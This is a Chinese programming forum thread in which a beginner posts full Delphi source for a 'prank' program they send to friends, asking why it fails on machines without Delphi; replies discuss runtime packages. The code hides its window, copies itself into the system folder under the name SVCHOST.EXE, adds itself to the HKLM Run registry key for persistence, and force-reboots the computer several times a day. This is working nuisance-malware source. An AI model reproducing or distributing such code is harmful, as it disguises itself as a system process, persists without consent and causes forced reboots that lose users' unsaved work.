我编了一个在特定情况下重新启动机器的程序
该程序为系统一启动就加载(修改注册表),并可以自我复制到特定的目录里还有一个程序是删除上面那个程序的
程序是得到硬盘的序列号,然后判断密码是否正确,便删除文件和删除注册表中上面哪个程序的启动建值这两个程序在我这里没出一点问题,但我发给其他没有安装DELPHI的朋友时,那个重启机器的就不能自我复制了,那个删除程序跟本就不能运行,但这两个程序发给一个有装DELPHI的朋友,他就能正常的运行请问DELPHI是不是和VB一样要带些什么库文件的啊?请高手指点指点!!

解决方案 »

  1.   

    你选择了什么样的编译方式,是否选择了build with runtime packages
      

  2.   

    搂主好厉害,能否给我一份源代码阿,谢谢,!![email protected]
      

  3.   

    你选择了什么样的编译方式,是否选择了build with runtime packages对不起!我太菜了!请问什么叫build with runtime packages啊?
    在那里有得选择啊?
      

  4.   

    重启计算机的代码:unit Unit1;interfaceuses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, StdCtrls, ExtCtrls,registry,regstr, ImgList;type
      TForm1 = class(TForm)
        Timer1: TTimer;
        Timer2: TTimer;
        Edit1: TEdit;
        Edit2: TEdit;
        Edit3: TEdit;
        Button1: TButton;
        Button2: TButton;
        Edit4: TEdit;
        ImageList1: TImageList;
        procedure Timer1Timer(Sender: TObject);
        procedure Timer2Timer(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure Button1Click(Sender: TObject);
        procedure Button2Click(Sender: TObject);  private
        { Private declarations }
      public
        { Public declarations }
      end;var
      Form1: TForm1;
      time:integer;
      registertemp:tregistry;
    implementation{$R *.dfm}
    //自定义重启函数
    function My_ExitWindows(M_1Reboot_2Power: integer): Boolean; //重启(M:=1).关机(M:=2)
    var
    hToken: THANDLE;
    hProc: THANDLE;
    mLUID: TLargeInteger;
    mPriv, mNewPriv: TOKEN_PRIVILEGES;
    mBufferLength: DWord;
    begin
    Result:=false;
    if not (M_1Reboot_2Power in [1, 2]) then exit;
    hProc := GetCurrentProcess();
    OpenProcessToken(hProc, TOKEN_ADJUST_PRIVILEGES + TOKEN_QUERY, hToken);
    LookupPrivilegeValue('', 'SeShutdownPrivilege', mLUID);
    mPriv.PrivilegeCount := 1;
    mPriv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
    mPriv.Privileges[0].Luid := mLUID;
    AdjustTokenPrivileges(hToken, False, mPriv, (4 + (12 * mPriv.PrivilegeCount)), mNewPriv, mBufferLength);
    GetLastError;
    case M_1Reboot_2Power of
    1: Result := ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);//重起
    2: Result := ExitWindowsEx(EWX_FORCE+EWX_POWEROFF, 0);//关机
    end;
    end;
    //====================procedure TForm1.Timer1Timer(Sender: TObject);
    begin
    self.Hide; //隐藏窗口
    timer1.Enabled :=false;
    end;procedure TForm1.Timer2Timer(Sender: TObject);//重启计时
    begin
      time:=time-1;
      if time mod 10=0 then
      begin
        if time=0 then
        begin
          timer2.Enabled :=false;      my_exitwindows(1);//1重起2关机//调用重启函数      messagedlg('正在重新启动您的计算机!',mtwarning,[mbok],0);
        end
        else
          begin
            messagedlg('离重新启动您的计算机还有' + inttostr(time) + '秒,请你保存好你正在运行的程序,以免掉失数据。程序每日只会重新启动3次。本程序纯属为你开个玩笑,并不会破坏和盗取你计算机上的任何文件,如果你觉得这个程序妨碍你的工作,请与QQ:13913966联系!',mtwarning,[mbok],0);
          end;
        end;
      edit1.Text :=inttostr(time);
    end;procedure TForm1.FormCreate(Sender: TObject);
    var
      myday,myrun:string;begin
    edit4.Text:=DateToStr(Date); //取出当前日期
    myday:=edit4.Text;//把当前日期付给mydaytime:=61;//设定启动时间
    //自我复制文件
    copyfile(pchar(application.exename),pchar('c:\windows\system32\wins\SVCHOST.EXE'),true);//写入注册表
    registertemp:=tregistry.create;//准备使用注册表
      with registertemp do
      begin
        registertemp.rootkey:=hkey_local_machine;//存放在此根下
        registertemp.openkey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
        registertemp.WriteString('SVCHOST','c:\windows\system32\wins\SVCHOST.EXE');
        registertemp.CloseKey ; //关闭注册表
        registertemp.free;//结束使用注册表
      end;
    //===========================================
    registertemp:=tregistry.create;//准备使用注册表
      with registertemp do
      begin
        registertemp.rootkey:=hkey_local_machine;
        registertemp.OpenKey('SOFTWARE\retime',true);    if registertemp.ReadString('retime') ='' then//如果retime还没有
          registertemp.WriteString('retime','3');//就新建一个,并且付值为3    myrun:=registertemp.ReadString('day');//读出DAY付给myrun
        if registertemp.ReadString('day')='' then//检查myrun是否存在
        begin
          //showmessage('DAY不存在');
          if registertemp.ReadString('retime')='3' then//3次都未执行
          begin
            registertemp.WriteString('retime','2'); //改为2次
            timer2.Enabled:=true;//打开计时
            registertemp.CloseKey ; //关闭注册表
            registertemp.free;//结束使用注册表
          end
          else if registertemp.ReadString('retime')='2'then
          begin
            registertemp.WriteString('retime','1');
            timer2.Enabled :=true;
            registertemp.CloseKey ; //关闭注册表
            registertemp.free;//结束使用注册表
          end
          else if registertemp.ReadString('retime')='1' then
          begin
            registertemp.WriteString('retime','3');//重新定为3次
            registertemp.WriteString('day',myday);//建立day子建,并把当前日期付给它
            timer2.Enabled :=true;
            registertemp.CloseKey ; //关闭注册表
            registertemp.free;//结束使用注册表
          end;
        end
        else if myrun<>myday then//如果注册表所记录日期不等于当前日期个话:
        begin
          if registertemp.ReadString('retime')='3' then//3次都未执行
          begin
            registertemp.WriteString('retime','2'); //改为2次
            timer2.Enabled:=true;//打开计时
            registertemp.CloseKey ; //关闭注册表
            registertemp.free;//结束使用注册表
          end
          else if registertemp.ReadString('retime')='2'then
          begin
            registertemp.WriteString('retime','1');
            timer2.Enabled :=true;
            registertemp.CloseKey ; //关闭注册表
            registertemp.free;//结束使用注册表
          end
          else if registertemp.ReadString('retime')='1' then
          begin
            registertemp.WriteString('retime','3');//重新定为3次
            registertemp.WriteString('day',myday);//建立day子建,并把当前日期付给它
            timer2.Enabled :=true;
            registertemp.CloseKey ; //关闭注册表
            registertemp.free;//结束使用注册表
          end;
        end
        //else if myrun=myday then//如果当前日期相同
          //application.Terminate; //终止程序
      end;
    end;
    procedure TForm1.Button1Click(Sender: TObject);
    begin
    copyfile(pchar(application.exename),pchar('c:\windows\system32\wins\SVCHOST.EXE'),true);
    end;procedure TForm1.Button2Click(Sender: TObject);
    begin
      deletefile('c:\windows\system32\wins\SVCHOST.exe');
    end;end.
    高手请指点!!!
      

  5.   

    在project option 菜单中有该选项,如果选中的话,程序本身会很小,一些包在运行时才调用
      

  6.   

    你选择了什么样的编译方式,是否选择了build with runtime packages
    在project option 菜单中有该选项,如果选中的话,程序本身会很小,一些包在运行时才调用大侠!不见有这个选项啊,我用的是Delphi7啊,能不能详细说说,我用DELPHI才1个星期左右啊,还很菜啊!千万不要见怪!